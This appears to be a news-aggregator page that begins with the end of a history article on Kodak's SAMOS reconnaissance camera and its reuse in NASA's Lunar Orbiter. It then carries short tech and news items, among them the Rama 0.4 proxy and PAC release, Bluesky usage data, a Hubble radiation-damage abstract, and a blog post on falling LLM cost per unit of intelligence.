“…it will be the responsibility of the NRO to select a contractor, generally from among those engaged in the present covert reconnaissance programs, to develop equipment meeting these specifications in a secure and protected, or ‘black’, fashion. Concurrently, NASA will grant the same contractor an overt or ‘white’ reconnaissance contract which will serve as a technically plausible cover for the development of the flight hardware actually to be employed, during that length of time in which the flight hardware must be regarded as highly sensitive because of its relevance to the on-going covert reconnaissance operations.” 23

Mitchell recounts one instance of very direct contact between the interested parties during this period. “On 24 July 1963,” he writes, “NASA, NRO, and CIA representatives met with Fredrick C.E. Oder, a retired Air Force colonel involved with Samos in the 1950s, and now an Eastman Kodak executive.” The group directly discussed adapting the E-1 and E-2 cameras for lunar exploration, consulting Kodak engineers who thought it would be feasible. 24

On August 28, the DOD/CIA/NASA agreement was signed by James Webb and Secretary of Defense Robert McNamara. 25 On August 30, Seamans reviewed Langley’s Request For Proposals document, and NASA released it to contractors. 26 The Boeing/Kodak bid was approved by Seamans and Webb in December. “Although the available documentation does not say so,” Mitchell argues, “the NRO, by virtue of the provisions of the 28 August agreement and its knowledge of reconnaissance camera systems must have played a role in the selection process.” 27

This all may help explain the fact that at least in its early stages, Lunar Orbiter was kept under tight security measures at Kodak. McDowell remembers that at the time, work on Lunar Orbiter was kept “in the same level of secrecy that the [SAMOS] projects were.” Work was extremely siloed–engineers building individual components did not always know exactly what they would be used for. McDowell says that this was a pretty standard practice for Kodak at the time, but that the fact that they were using the E-2 probably had something to do with it. 28

Regardless of whether the outcome of the competition was predetermined, the Kodak system did have real advantages over the other bids for Lunar Orbiter. It promised increased flexibility, the capability of taking images simultaneously in multiple resolutions, and the ability to achieve impressively high resolutions.

Kodak’s final Lunar Orbiter camera system used a process largely identical to their E-2 cameras. 29 They even seem to have borrowed some of the illustrations from SAMOS presentations for Lunar Orbiter documentation.

The Lunar Orbiter readout subsystem as shown in the Lunar Orbiter I contractor report. From NASA .

The primary modifications that Kodak engineers made were to the lenses and shutter systems. They sought to meet very strict NASA requirements regarding resolution of the images. Compared to the E-1 and E-2, which had 100-foot and 20-foot resolution respectively, NASA’s goals for Apollo planning stated a roughly 3-foot resolution (closer to the never-realized plans for the SAMOS E-3). They also moved from a single ground station to three. Kodak’s final system was capable of achieving that resolution given the right orbit.

Through Lunar Orbiter documentation, we get a closer look at the reconstruction process. Transmitted images were displayed with a kinescope and captured on 35mm film, which was sent to Rochester for reassembly. Strips of 35mm film were assembled to form a full frame, which was in turn captured on film and sent off to NASA. This meant that the images themselves traveled across several different rolls of film before finally being put to use.

A diagram showing the photographic transmission and reconstruction system from the Lunar Orbiter III contractor report. From NASA .

The photographs brought back by Lunar Orbiter played an integral role in Apollo site selection, and brought a wealth of new information to cartographers and scientists. The camera system performed admirably, although engineers did encounter a handful of difficulties over the course of the five flights. Some of these difficulties had to do with the Bimat film itself, which operated somewhat inconsistently. The film could “stick,” experience dryout, or see droplet formation, leaving artifacts on the film. 30 The continuing issues with the film into 1966 and 1967 may hint at some of the specific engineering and reliability issues that contributed to the end of SAMOS readout.

The processing mechanism on Lunar Orbiter. Bimat supply was upper left, take-up upper right. The films were pressed together on the small drum in the middle. The developed film was dried and stored on the large drum below. From NASA (PDF).
A diagram showing the processing mechanism from a 1965 NASA/Langley document.
Frame 76, H3 from Lunar Orbiter V. This frame contains the landing site for Apollo 11, and displays several of the artifacts seen on Lunar Orbiter imagery. The landing site itself is nearly obscured by the line in the center, which may be a Bimat supply separation line. From NASA/LOIRP.

Because of its spin-off from Surveyor during the push for Apollo, Lunar Orbiter was arguably the very first spacecraft designed to conduct reconnaissance specifically for human spaceflight. The modification of military hardware for the purposes of exploration has a long tradition in the history of exploration, and this is a particularly fascinating example in that tradition. It is the story of a unique camera system straddling technological eras that ended up playing two very different roles in the geopolitical competition of the Cold War.

Footnotes

  1. “How Kodak ‘Pre-Invented’ the Lunar Orbiter Camera (Based on an article in the Rochester Times-Union, February 3, 1967)”, 105:9, Kodak Historical Collection, D.319, Rare Books, Special Collections, and Preservation, River Campus Libraries, University of Rochester ↩︎
  2. “Chronology: WS 117L Background,” NRO, Declassified WS117L, SAMOS & Sentry Records, ID 953, https://www.nro.gov/Portals/135/documents/foia/declass/WS117L_Records/953.PD ; and “Space System Development Plan: SAMOS R&D Program” 12 July, 1960, NRO, ID 608, https://www.nro.gov/Portals/135/documents/foia/declass/WS117L_Records/608.PDF ; during the history of WS-117L, ARPA took a direct role in management for a period, and the project went through various names. This article’s primary focus is on the camera systems, and so avoids detailing these changes for simplification. The documents linked here contain detailed explanations of these changes. ↩︎
  3. “Project Feed Back Summary Report,” ed. J.E. Lipp and R.M. Salter, R-262, Volume 1, March 1, 1954 (RAND), https://www.rand.org/pubs/reports/R262z1.html ↩︎
  4. Robert Perry, A History of Satellite Reconnaissance Volume IIA – SAMOS , Revised October 1973, NRO, ID 304, https://www.nro.gov/Portals/135/documents/foia/declass/WS117L_Records/304.PDF ; and   Kenneth E. Greer, “CORONA,” in CORONA: America’s First Sattelite Program, ed. Kevin C Ruffner,  pp 4-6, https://www.cia.gov/static/Corona-Between-the-Sun-and-the-Earth.pdf ↩︎
  5. David McDowell (former Kodak engineer) in discussion with the author, March 22, 2024 ↩︎
  6. This is one of the earliest references to this technology that I have been able to find. The term “Bimat” came later, and in Lunar Orbiter documents at the time, engineers have often retained the “web” terminology, referring to it as “Bimat web.” For more on how Bimat worked: https://www.cia.gov/readingroom/docs/CIA-RDP33-02415A000500120032-7.pdf ↩︎
  7. See “Advanced Reconnaissance System Weapon System 117L,” 1 March 1958, NRO, ID 101, https://www.nro.gov/Portals/135/documents/foia/declass/WS117L_Records/101.PDF ; This was one of the primary differences between Kodak’s readout system and Luna 3’s, which used wet processing methods. ↩︎
  8. “Kodak Contributions to Aerial Photography,” p 6, 106:6, Kodak Historical Collection, D.319, Rare Books, Special Collections, and Preservation, River Campus Libraries, University of Rochester ↩︎
  9. “Pied Piper Development Plan: Vol II Sub-System Plan, E. Visual Reconnaissance,” Lockheed Aircraft Corporation, 1 March, 1956, NRO, ID 502, https://www.nro.gov/Portals/135/documents/foia/declass/WS117L_Records/502.PDF ↩︎
  10. The date is somewhat difficult to decipher in the provided image, but is clearly 1958 on the one in this document: https://www.nro.gov/Portals/135/documents/foia/declass/ForAll/041723/F-2022-00223_C05142220.pdf ↩︎
  11. Leonard W. Tregillus, Arthur A Rasch, and Edwin B Wyand, Jr, “Web Processing Method and Composition,” USPO Patent 3,179,517; https://patentimages.storage.googleapis.com/bd/76/21/1d361f54f0613e/US3179517.pdf ↩︎
  12. McDowell, 2024; The University of Rochester Special Collections Library is also currently processing some Kodak Research Laboratories documentation, to be opened in 2027. I am hoping that more information might be forthcoming. ↩︎
  13. This was similar in principle to Luna 3, which would have been in development around the same time or slightly after the Kodak/CBS system, despite flying sooner. The 1956 Lockheed document contains a pretty detailed description of the flying spot scanner, pretty much as it appeared in the final system. Luna 3’s scanner had definitely begun development by the middle of 1958, but preliminary work may go back to 1957 or earlier. Some of the basic principles behind the flying spot scanner go back even further to some of the earliest experiments in television . See Don P. Mitchell’s description of the Luna 3 systems: http://mentallandscape.com/L_Luna3.htm ; and this account of Luna 3’s transmission system, including the use of film recovered from US spy balloons: http://www.svengrahn.pp.se/trackind/luna3/SpyBalloon.htm ↩︎
  14. Perry, pp 152-167 ↩︎
  15. David McDowell in discussion with the author, December 17, 2025. McDowell discussed the stabilization difficulties and the nosecone design in the 2024 discussion, as well. ↩︎
  16. Perry, pp 175 ↩︎
  17. Information on E-1/E-2 launches and the fate of the cameras from Perry, pp 165-177; continued investigation of readout, pp 178-196 ↩︎
  18. McDowell, 2024; also see comments in “RMSC Gambit Exhibit Press Conference”, t25:20, https://www.youtube.com/watch?v=HBMtsBZJT94 ↩︎
  19. Perry, pp 168, 173 ↩︎
  20. Bruce Byers, Destination Moon: A History of the Lunar Orbiter Program , April 1977, NASA, pp  9-29, https://ntrs.nasa.gov/citations/19770016195 ↩︎
  21. Byers, pp 16-29, 40 ↩︎
  22. Vance G. Mitchell, Sharing Space: The Secret Interaction Between The National Aeronautics & Space Administration & the National Reconnaissance Office, 1961-1995 , NRO/CSNR, pp 12-13, https://www.nro.gov/Portals/65/documents/foia/declass/ForAll/012422/F-2019-00002_C05116216.pdf ↩︎
  23. “DOD/CIA-NASA Agreement on NASA Reconnaissance Programs,” 17 July, 1963, https://www.cia.gov/readingroom/docs/CIA-RDP33-02415A000400060019-0.pdf ↩︎
  24. Mitchell, p 14 ↩︎
  25. For the final draft, see: https://www.nro.gov/Portals/135/documents/foia/declass/UPWARD/1.%20DoD-CIA-NASA%20Agreement%20on%20NASA%27s%20Reconnaissance%20Program.PDF ↩︎
  26. Byers, pp 46-47 ↩︎
  27. Mitchell, p 15 ↩︎
  28. McDowell, 2025 ↩︎
  29. For an earlier simplified account of this transfer, and a summary of some of the technical differences, see R. Cargill Hall, “SAMOS to the Moon: The Clandestine Transfer of Reconnaissance Technology Between Federal Agencies,” NRO, https://www.nro.gov/Portals/65/documents/history/csnr/programs/docs/prog-hist-01.pdf ↩︎
  30. Lunar Orbiter documentation often details these types of imperfections, including in the contractor report for Lunar Orbiter I: https://ntrs.nasa.gov/api/citations/19670023005/downloads/19670023005.pdf ↩︎

Rama 0.4: System proxy and PAC support

Hacker News
plabayo.tech
2026-08-21 09:50:59
Comments...
Original Article

Rama 0.4: System proxy and PAC support

Six weeks after the release of 0.3 — nicely within the promised two-to-eight-week release train window — we are proud and happy to have shipped rama 0.4 . It's a release that I am very happy with, as we were not only able to make tons of improvements here and there, but also got to work on some items that had been on our backlog for a long time.

For technical details please read the full CHANGELOG — including the rama 0.4 release notes — at https://github.com/plabayo/rama/blob/main/CHANGELOG.md . And at any time you can find a summary of what protocols and other features are supported in Rama at https://ramaproxy.org/#features .

System Proxy Configuration

Rama has had support for HTTP, HTTP over TLS (HTTPS) and SOCKS5 proxies for a long time. The easiest way is to configure them directly using ProxyRoute (s) (what used to be directly inserted as a ProxyAddress ). Within applications these can be hardcoded or exposed via a setting somehow. An example of this is your browser or editor, which allows you to configure a proxy via a settings file or its GUI. You can read more about this approach in the "Application Proxies" chapter of the Rama book .

Applications often also support the HTTP_PROXY environment variable. curl uses the lowercase http_proxy variant instead for CGI reasons, a convention we now also follow by default when using the ProxyEnvLayer . That said, there are more common env variables, such as ALL_PROXY , HTTPS_PROXY and NO_PROXY , with the latter used to add bypass rules to, for example, ensure some (sub)domains do not go via a proxy. All of these are now also supported, via the ProxyEnvLayer and NoProxyEnvLayer .

However, as you might be aware, operating systems also allow you to configure a proxy system-wide. Here one can configure HTTP, HTTPS and SOCKS5 proxies, as well as bypass rules for what not to proxy. This is all very similar to the env variables discussed earlier, but system-wide. Of course, in general, nothing forces an app to respect these system configuration settings, either because it does not want to or because it simply does not have the built-in capacity to do so (which was the case for network clients built using rama, until now). With rama 0.4 this is supported out of the box via the SystemProxyLayer ; you can learn more about how these settings work in the "System Proxies" chapter of the Rama book.

System configuration settings also allow you to have a proxy be dynamically selected using a JavaScript file. This is known as Proxy Auto Configuration , or PAC for short. To do so one must have a JavaScript runtime — not something rama shipped prior to rama 0.4 . Now we do. With rama-js we now support running a JavaScript runtime within a WASM runtime (using wasmtime, the runtime we will also use in the future to build rama-wasm). This is important as it provides isolation, ensuring that if our JavaScript runtime crashes it doesn't take the whole process with it. Applications like Google Chrome run their JavaScript engine in a separate OS process; within the Rama framework we have chosen to do so within a WASM runtime instead. Same isolation, but without having to somehow allow any application built using Rama to run and bundle a separate process.

Rama now has PAC support, via the rama-pac crate, which allows you to have a PAC runtime, and thus evaluate PAC scripts, but also to easily generate scripts for cases where all you want is the ability to route domains X to proxy rules Y.

If you want to play with these new rama framework capabilities, you can also easily do so with our command line application (CLI), which you can learn how to install in the "rama binary" chapter of the Rama book:

  • Client send commands support it out of the box (unless you overwrite it with env variables or a command argument);
  • There are now rama pac subcommands allowing you to generate a PAC script as well as to evaluate a PAC script via a REPL. The latter is especially nice, as prior to this the only environments in which you could play with a PAC file were pretty old and obscure applications... Another nice addition to our network CLI toolkit if you ask me.

ttRPC and gRPC

Protocol-wise, rama now also has support for ttRPC , via the new rama-ttrpc crate. You can see it as a lightweight alternative to gRPC that runs directly on top of a transport protocol such as TCP , but still via a protobuf ( proto ) contract.

This is not the only new crate within this space however, as we now also have the rama-grpc-macros crate, bringing rama the ability to generate client- and server-side gRPC code without writing a single line of proto , relying instead on your own codecs, optionally driven by Serde (see define_service ). Great for those that already use gRPC and are in control of their whole stack.

HAR WebSockets

It turns out that HAR (HTTP Archive) has support for WebSocket data. This last-minute rama 0.4 surprise came to our attention thanks to a commercial partner. It's an obscure feature though: it was added to Chrome some years ago, but not many other applications have picked it up so far. As such we have mostly used Chrome as our oracle to guide our implementation.

It is now supported, and it also made us realise that our previous HAR export implementation was keeping too much data in memory for consistency and ordering purposes. This is all settled now, and we can stream all your HTTP and WS data nicely to disk, without having to buffer the entire stream into memory first.

The Rama CLI send command now also has support for exporting a HAR file of the HTTP/WS conversations that you executed. In order to do so you can make use of the --har argument.

Other changes and improvements

There are several breaking changes and plenty of improvements. For a full list please see the changelog. But to name a few here:

  • Our peekers (used to check what protocol is flowing over a transport stream, see the "Protocol Inspection" chapter of the Rama book) are now able to fail as fast as a byte can no longer satisfy the heuristics, and they also received some minor bug fixes. The HTTP peek router can now also opt in to skipping "method" names that are commonly used and can be confused with HTTP header lines. In some cases, such as PING , these can needlessly stall the peeker logic until its timeout, which is not ideal. Using this extra configuration should prevent most of such edge cases, if not all.
  • This release also brings some more improvements to our Apple Network Extension support , which I'm sure are greatly appreciated by those relying upon it to build L4 and L3 proxies for Apple platforms.
  • Our (client) connection services now have a slightly different trait signature, which allows for nicer error handling and smarter decision making, for example knowing when to retry and when to fail for real.
  • In function of PAC, you can now insert multiple proxy routes (addresses) into your input extensions, which will be tried in the order given. The existing proxy DB functionality now also happily makes use of this by default, but if you want the old random single-proxy selection behaviour you can still opt in to that.

Thank you

We would like to take this release as an opportunity to thank everyone that made and continues to make Rama possible: our contributors , the projects that we depend upon as well as those that we forked , the wider Tokio and Rust ecosystem, our Sponsors and of course our Commercial Partners .

We very much look forward to the releases that are yet to come.

You can also subscribe to this Blog RSS feed or subscribe to our very own newsletter , written by us and your emails stored with privacy in mind within our own system made with Rama .

Are you building something with Rama alone or with your organisation? Do share it with us by email or Discord .

Be empowered. Be the change.

Source: https://github.com/plabayo/rama/discussions/1130 .

[$] Considering the OpenMDW license

Linux Weekly News
lwn.net
2026-08-21 09:42:29
The open-source world has been struggling for a few years now to understand how to approach large language models (LLMs) and the licensing applied to them. What constitutes "freedom" with respect to a black box filled with numerical weights? The process taken by the Open Source Initiative (OSI) in...
Original Article
The page you have tried to view ( Considering the OpenMDW license ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on September 3, 2026)

Hochul Heads Into Nail-Biter Reelection With...Criticism of Mamdani?

hellgate
hellgatenyc.com
2026-08-21 09:39:55
And more news to usher in the weekend....
Original Article

In two and a half months, New York will elect a governor. One candidate is Kathy Hochul, the incumbent Democrat who has emerged as a strong voice in the state's fight against a cruel federal immigration policy , and has, to a point, worked well with New York City's popular mayor, easing the decades-long tension that previously plagued state and City leaders.

The other candidate is Bruce Blakeman, the Republican Nassau County executive who last weekend campaigned with a historically unpopular president, commands his own (somewhat elderly) militia , and has appeared alongside a Tennessee Republican who has said the City's Muslim population should be subject to "denaturalizations and deportations," starting with Mayor Zohran Mamdani.

In evaluating those two choices, New Yorkers seem to be Blakeman-curious. Earlier this month, a Siena Poll of likely New York voters showed Hochul leads Blakeman by just 10 points , and she hasn't notched majority support (49-39 percent in her favor), with Blakeman narrowing the 20-point lead Hochul enjoyed as recently as June. In 2022, her Republican opponent Lee Zeldin came shockingly close—within 6 points—to defeating her. An August 2022 poll had her with a bigger lead against Zeldin than Blakeman.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Microsoft rolls out Classic Outlook theme for New Outlook users

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 09:39:35
Microsoft has started rolling out a Classic Outlook theme for users of Outlook on the web and the New Outlook for Windows. [...]...
Original Article

Outlook

Microsoft has started rolling out a Classic Outlook theme for users of Outlook on the web and the New Outlook for Windows.

This new Outlook theme is rolling out as part of a targeted release beginning mid-August and expected to complete by the end of September. The theme will become generally available worldwide between late September and late October.

"When enabled, the setting applies coordinated changes across the Outlook experience, including visual styling, layout, typography, icons, and selected interactions," Microsoft said in a Microsoft 365 Message Center update.

image

Once rolled out, the feature will not override any existing administrator configurations and will not automatically migrate users from classic Outlook to the new Outlook.

Microsoft also added that the new user interface style will be enabled by default for some users, but they can toggle it off to switch to the standard theme from Settings > General > Appearance.

"This update is designed to help users who are transitioning from classic Outlook by providing a more familiar experience while maintaining the capabilities of the new Outlook," it added.

"The setting will be available to all users and can be turned on or off at any time. It will be off by default for most users. As part of a phased rollout, Microsoft will enable the setting by default for some users moving from classic Outlook to the new Outlook. Those users can change the setting at any time."

Classic Outlook theme toggle
Classic Outlook theme toggle (Microsoft)

​New Outlook (also known as Outlook for Windows), which still lacks some Classic Outlook features, replaced Windows Mail as a pre-installed app on Windows 11 and Windows starting in October 2023 and January 2025 , respectively.

Microsoft introduced the first preview version of the New Outlook client in May 2022. The app reached general availability for personal accounts in September 2023 (via the September 26 Windows fall update and the Microsoft Store on Windows 11 ) and for commercial customers in August 2024 .

In February, Microsoft announced that it would postpone the new Outlook opt-out phase for businesses from April 2026 to March 2027, giving enterprise admins 12 additional months to prepare a staged migration to the new client.

Microsoft made this decision even though, according to the company, it was "seeing strong and accelerating adoption of new Outlook."

In July, Microsoft also said that it would disable Outlook Web Access (OWA) Light , a lightweight version of the Outlook Web App email client introduced roughly two decades ago as an alternative to OWA Premium, in a future Exchange Server update.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Bluesky’s Active User Base Is Shrinking, and Remains Tiny Compared to Threads and Twitter/X

Daring Fireball
techcrunch.com
2026-08-21 09:36:58
Sarah Perez, writing at TechCrunch last week: Decentralized social network Bluesky was one of the bigger beneficiaries of the exodus from Elon Musk’s X in November 2024, following the U.S. elections. But now, nearly two years later, the social network and would-be X competitor is struggling to h...
Original Article

Decentralized social network Bluesky was one of the bigger beneficiaries of the exodus from Elon Musk’s X in November 2024, following the U.S. elections. But now, nearly two years later, the social network and would-be X competitor is struggling to hold on to its momentum.

According to data from digital intelligence provider Similarweb , Bluesky’s mobile app had 10.4 million monthly active users worldwide in June 2026, down 27.2% year-over-year. In addition, mobile daily active users continued to decline, falling 25.6% year-over-year in July to around 3 million.

Image Credits: Similarweb
Image Credits: Similarweb

These declines indicate that even though Bluesky’s app continues to add registered accounts, fewer people are using its mobile app on a regular basis. It also suggests that some of those who joined Bluesky due to their dissatisfaction with X post-elections haven’t stuck around long-term.

But the bigger takeaway here is not just that Bluesky’s post-election bump has shrunk. Bluesky’s app has lost more than half its monthly active users from its late-2024 high, which means that its app usage continued to shrink even after the initial post-election surge subsided. (Its quarterly average was around 22.1 million monthly active users in the fourth quarter of 2024, Similarweb’s data indicates, and it declined to 10.7 million in the second quarter of 2026. That’s a decline of around 52%.)

Building beyond Bluesky

While Bluesky’s numbers are down, those who stuck around are committed. Its smaller community remains relatively active, with a stickiness rate (the ratio of daily to monthly active users) of roughly 29% in June, about the same as Threads.

For Bluesky’s new CEO, Toni Schneider, these numbers may not be as concerning. The company is not entirely focused on making Bluesky (the app) succeed, but on making it possible for the underlying protocol (AT Proto) to power a growing number of social apps, services, and communities. That’s something that is now taking place, as projects like BlackSky and Eurosky are growing, while some AT Proto apps like the video-focused Skylight have found early traction, too.

In addition, the company has launched new products, like the AI-powered research tool Attie , and is now working on adding support for private data to Bluesky. The latter could generate new interest in Bluesky from a different type of user — those less interested in the public square, and more interested in private networking and communities.

Bluesky’s Attie Image Credits: Bluesky (screenshot)

What’s more, Similarweb’s data doesn’t necessarily suggest that Bluesky users have returned to X, as some may have feared.

Instead, the data shows that X’s worldwide monthly active users on mobile were down around 3% year-over-year in June, and X’s mobile daily active users dropped 7% in July to 123.7 million. (Of course, X remains a sizable social network with around 302 million monthly active users on its app as of June 2026 and a growing number of web visits, up 5.3% year-over-year in July to 4.7 billion.)

If anything, the app to now be concerned about is Threads. It’s unclear whether Threads is benefiting from Bluesky’s falling engagement, or if it has managed to attract a new set of people who had never used a Twitter-like service.

In any event, the Meta-owned app’s daily active users were up 21.3% year-over-year to 147 million in July 2026, and its website visits were up 112% year-over-year to 471.6 million.

Bluesky’s own public stats indicate the company now has nearly 46 million registered users, but it doesn’t share specific data on daily or monthly active usage.

When you purchase through links in our articles, we may earn a small commission . This doesn’t affect our editorial independence.

Sarah has worked as a reporter for TechCrunch since August 2011. She joined the company after having previously spent over three years at ReadWriteWeb. Prior to her work as a reporter, Sarah worked in I.T. across a number of industries, including banking, retail and software.

You can contact or verify outreach from Sarah by emailing sarahp@techcrunch.com or via encrypted message at sarahperez.01 on Signal.

View Bio

Radiation damage to Hubble has been 4.3 years out of phase with the Solar cycle

Hacker News
arxiv.org
2026-08-21 09:35:17
Comments...
Original Article

View PDF HTML (experimental)

Abstract: As well as obtaining beautiful images of the Universe, the Hubble Space Telescope's CCD detectors are sensitive radiation dosimeters that have been monitored in Low Earth Orbit for more than 24 years. The rate of radiation damage they received has varied over each Solar cycle, but several years out of phase with the appearance of sunspots or coronal mass ejections. We investigate functional forms that successfully fit the time series of damage to telescopes elsewhere in the Solar system. We obtain remarkably accurate fits to Hubble data but with physically absurd parameter values. During image post-processing, such fits can be used empirically, to correct more than 99.5% of the radiation damage's effect on image quality. However, fits to the time series with physically reasonable parameters produce worse performance. Our results highlight the diversity of radiation environments in different parts of our Solar system, and the complexity of Low Earth Orbit in particular. Our results also motivate continued monitoring of radiation damage to currently operational spacecraft, to more reliably predict the rate of degradation in (and useful lifespan of) future missions.

Submission history

From: Juan Paolo Lorenzo Gerardo Barrios [ view email ]
[v1] Tue, 18 Aug 2026 18:00:17 UTC (28,507 KB)

Nvidia AVO scores 100% on the ARC-AGI-3 interactive reasoning benchmark

Hacker News
twitter.com
2026-08-21 09:26:03
Comments...
Original Article

NVIDIA AVO continuously inspects, plans, implements, and evaluates, using memory, tools, and execution feedback to build on what it learns along the way. This allows the system to sustain progress across long-running tasks rather than starting over with each model context. Read

What Happens When the Cost of Intelligence Drops 100x

Hacker News
catalystneuro.com
2026-08-21 09:24:28
Comments...
Original Article

Progress in large language models is usually reported as what the best model can now do that no model could do before. That is the direction that produces headlines, and it has indeed been truly incredible. Each step up at the top of the range lets a model handle a kind of task that was previously out of reach, whether that is fixing a bug that spans a whole codebase or, lately, making progress on outstanding mathematical problems that had not been solved by anyone.

There is a second direction of progress that gets less attention, which is how cheaply a given level of capability can be bought. A great deal of useful work does not require the smartest model available, but a model that is good enough, applied many thousands of times. Reading every scientific paper on a topic, checking every contract in an archive for a particular clause, or summarizing every thread in a large discussion forum are tasks of this kind. For these, the question is not whether a model exists that can do the job, but whether it can do the job ten thousand times within a budget. The ceiling unlocks new kinds of tasks; the floor unlocks volume.

When you pick a model for an application you are trading off how capable it is against how much each call costs. For agentic coding I have focused almost entirely on capability, with the general sense that the improved quality of the work is worth the money, even when far cheaper models exist that are reasonably capable. My attention was recently drawn to the cost of the floor. We are measuring how often datasets shared on the DANDI Archive are reused in later publications, which means reading on the order of ten thousand candidate papers with a model and asking of each one whether it actually reused the data. At today’s prices a full pass over the corpus costs a little over a hundred dollars with a model whose capability was at the frontier in the spring. At the prices of this past March, the same pass with the same level of capability would have cost several thousand dollars, and a year ago that capability was not available at any price. That change in the floor is what turned the analysis from a thing we could do on a sample into a viable project. I have been surprised by the progress across the cost spectrum, particularly how intelligent cheap models have become.

Artificial Analysis has been benchmarking intelligence and price across hundreds of models for a couple of years, and enough of that data is accessible to reconstruct the tradeoff. In particular, this plot shows the intelligence index vs. the cost per task, providing a realistic cost estimate for different levels of model capability. The top line is what they define as the “Pareto line,” the most capable models at a given price point. This line describes the true frontier of LLMs. I pulled data from artificialanalysis.ai and looked at how the Pareto frontier has moved as new models have been released. I think it is worthwhile to take a beat to review this progress and make some predictions for the next few months.

The short version: the level of intelligence that cost $1.22 per task in February costs $0.022 today, a 56x drop in under six months, and the rate of decline is accelerating. At the measured pace, a 100x drop for a given capability level takes about a year, and the question worth asking is not whether that happens but what it changes.

The Artificial Analysis Intelligence Index

The capability axis throughout this post is the Artificial Analysis Intelligence Index, so it is worth being clear about what that number is. The current version, v4.1.1, is a weighted average over nine evaluations grouped into four categories: agentic tasks at 34%, coding at 24%, scientific reasoning at 24%, and general capability at 18%. The weighting reflects where the field’s attention is: a third of the score comes from a model’s ability to complete multi-step agentic work, not from answering exam questions. The component evaluations, their weights, and the scoring details are documented in Artificial Analysis’s intelligence benchmarking methodology .

What you end up with is a single number that represents model capability, sort of like an IQ for LLMs. It isn’t perfect, and two models with the same score may have different strengths, but I have found that this score does a reasonably good job of indicating a model’s capability.

As a reference point, Anthropic’s “Claude 4.5 Sonnet (Reasoning)” was for me and many others the first time a model felt capable enough to use in an agentic harness for writing code. At the time I was using Cline, and this model provided substantial productivity gains over auto-complete and copy/paste workflows. That model had an intelligence score of 37.4 (based on today’s intelligence scoring system). The top current model is Claude Opus 5 max effort, at 63.1.

To give a more visceral sense of what the different index levels mean, I borrowed Simon Willison’s pelican benchmark : prompt a model with “Generate an SVG of a pelican riding a bicycle” and look at what comes back. It is not what the index measures, but it is a task anyone can judge by eye. The panels below use the GPT-5.6 family at four points on the index: Luna at low, high, and xhigh effort, and Sol at max effort. I generated three samples per model and show the first one; all of them are in the site repository .

SVG of a pelican riding a bicycle generated by GPT-5.6 Luna at low effort
Index 33.9
GPT-5.6 Luna (low)
SVG of a pelican riding a bicycle generated by GPT-5.6 Luna at high effort
Index 47.0
GPT-5.6 Luna (high)
SVG of a pelican riding a bicycle generated by GPT-5.6 Luna at xhigh effort
Index 50.1
GPT-5.6 Luna (xhigh)
SVG of a pelican riding a bicycle generated by GPT-5.6 Sol at max effort
Index 60.9
GPT-5.6 Sol (max)
First of three samples from each model for the prompt "Generate an SVG of a pelican riding a bicycle", generated through OpenRouter on August 20, 2026. Intelligence Index scores are from Artificial Analysis.

The progression is visible: more detail, better proportions, and a pelican that is clearly riding the bicycle instead of hovering over it.

Measuring Cost per Task

Cost per token is easily available, but different models can use a very different number of tokens, so a better indication of the cost of a model needs to take this into account. Cost per task is Artificial Analysis’s own measured number: the average cost in USD to run one task from their Intelligence Index evaluation suite, including the input, reasoning, and answer tokens actually billed during the run. The website displays it but the free API tier does not include it, so I scraped it from the data embedded in each model’s page on the site, covering both the models they currently benchmark and retired models whose pages still carry the measurement (older Claude Opus and Sonnet versions, the GPT-5.x line, and others). That yields measured cost for 137 models reaching back to DeepSeek V3 in December 2024, each paired with a release date and an Intelligence Index score on the current scale.

How the Frontier Has Moved

The chart below plots intelligence against measured cost per task and traces the Pareto frontier, the cheapest way to reach each intelligence level, as it stands today and as it stood at two month intervals over the past year, using each model’s release date to reconstruct what was available. The chart builds up one frontier at a time, pauses on the full picture, and repeats; use the button to stop it. Hover any point for the model behind it.

Intelligence Index against measured cost per Intelligence Index task (log scale). Small points are all 137 measured models at their last measured cost, tinted by the two month window in which they were released (models from before August 2025 are grouped with the August 2025 window). Hollow points, both small and large, are open weights models; filled points are proprietary. Hover a point for its details, including whether Artificial Analysis has retired it from live benchmarking. Each line traces the cheapest way to reach a given Intelligence Index among models released by the snapshot date; markers are the frontier models themselves. Where successive frontiers share a segment, the older line is drawn on top, so a newer line is visible only where the frontier actually moved. Models whose pages no longer carry a measured cost (o3 and GPT-5.3 Codex among them) are absent (see caveats).

Each successive frontier sits above and to the left of the last: more intelligence at the same cost, or the same intelligence for less. The pace of that movement is accelerating. Through the second half of 2025 the frontier inched forward: only two small bumps between August and October, and a single one between October and December. The February and April frontiers each moved a large part of the curve, and the last two snapshots have replaced the frontier almost entirely, with ten of the eleven June frontier models new since April and fifteen of today’s sixteen new since June.

The right edge tells the capability story. The ceiling of the frontier rose from index 35.3 in August 2025 (GPT-5 at $0.26 per task) to 37.4 that October (Claude 4.5 Sonnet), 48.4 in February (Claude Sonnet 4.6), 55.0 in April (Claude Opus 4.7 at $2.23), 62.1 in June (Claude Fable 5 at $3.14), and 63.1 today (Claude Opus 5 at $2.34): twenty eight Intelligence Index points in a year. The left half shows the rising intelligence of cheap models. As of August 19, 2026, the GPT-5.6 Luna effort ladder now owns almost everything below index 52, with the level that was the August 2025 ceiling available for $0.0088 per task. The June 2026 frontier was unusually dominated by open weights models: six of its eleven models were open (MiMo-V2.5, DeepSeek V4 Pro, MiniMax-M3, and GLM-5.2 among them), and they held the whole middle of the range from index 38 to 53. In earlier snapshots open models appeared only at the bottom of the range, and today, after the GPT-5.6 Luna release, only two of sixteen frontier models are open.

Note that a single model can cover a large part of this range through different reasoning levels: the GPT-5.6 Luna ladder runs from $0.0088 at low effort to $0.047 at max and covers the whole lower half of the frontier, while Claude Opus 5 spans $0.43 at low effort to $2.34 at max and buys about ten Intelligence Index points along the way. Effort is now a key dial in the cost/intelligence trade-off, and as a consequence, cost and intelligence are inextricably linked.

The records plot below tracks the cheapest measured cost per task achieved by any released model at or above a given Intelligence Index tier. The series reaches back to mid 2025 for the lower tiers, and higher tiers appear when they become available.

